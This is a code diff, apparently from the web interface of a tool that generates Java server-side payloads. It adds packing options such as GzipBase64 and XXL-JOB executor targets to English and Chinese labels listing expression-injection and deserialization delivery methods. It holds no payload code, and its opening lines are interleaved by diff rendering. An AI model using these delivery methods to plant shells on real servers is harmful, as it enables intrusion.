wrapLongLines={!showCode} <CodeViewer
showLineNumbers={showCode} code={packResult}
language={showCode ? "java" : "text"} wrapLongLines={!showCode}
height={400} showLineNumbers={showCode}
/> language={showCode ? "java" : "text"}
height={400}
/>
</Fragment>
)} )}
{isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />} {isAgent && <AgentResult packResult={packResult} generateResult={generateResult} />}
{isJar && <JarResult packResult={packResult} generateResult={generateResult} />}
</TabsContent> </TabsContent>
<TabsContent value="shell" className="mt-4"> <TabsContent value="shell" className="mt-4">
<Alert> <Alert>
+4 -9
View File
@@ -46,9 +46,10 @@ export const resources = {
title: "Package Method", title: "Package Method",
packer: { packer: {
Base64: "Base64", Base64: "Base64",
GzipBase64: "GzipBase64",
BCEL: "BCEL", BCEL: "BCEL",
JSP: "JSP", JSP: "JSP",
JAR: "JAR", Jar: "Jar",
EL: "EL", EL: "EL",
SpEL: "SpEL", SpEL: "SpEL",
OGNL: "OGNL", OGNL: "OGNL",
@@ -59,6 +60,8 @@ export const resources = {
AgentJar: "AgentJar", AgentJar: "AgentJar",
Deserialize: "Deserialize(Only CB4, 1.9.x)", Deserialize: "Deserialize(Only CB4, 1.9.x)",
ScriptEngine: "ScriptEngine", ScriptEngine: "ScriptEngine",
XxlJob: "XXL-JOB Executor",
XxlJob230: "XXL-JOB (2.3.0+) Executor",
}, },
}, },
tips: { tips: {
@@ -154,18 +157,10 @@ export const resources = {
packageConfig: { packageConfig: {
title: "打包方式", title: "打包方式",
packer: { packer: {
Base64: "Base64",
BCEL: "BCEL",
JSP: "JSP",
JAR: "JAR",
EL: "EL 表达式", EL: "EL 表达式",
SpEL: "SpEL 表达式", SpEL: "SpEL 表达式",
OGNL: "OGNL 表达式", OGNL: "OGNL 表达式",
MVEL: "MVEL 表达式", MVEL: "MVEL 表达式",
Freemarker: "Freemarker",
Velocity: "Velocity",
Groovy: "Groovy",
AgentJar: "AgentJar",
Deserialize: "反序列化(仅支持 CB4, 1.9.x)", Deserialize: "反序列化(仅支持 CB4, 1.9.x)",
ScriptEngine: "脚本引擎", ScriptEngine: "脚本引擎",
}, },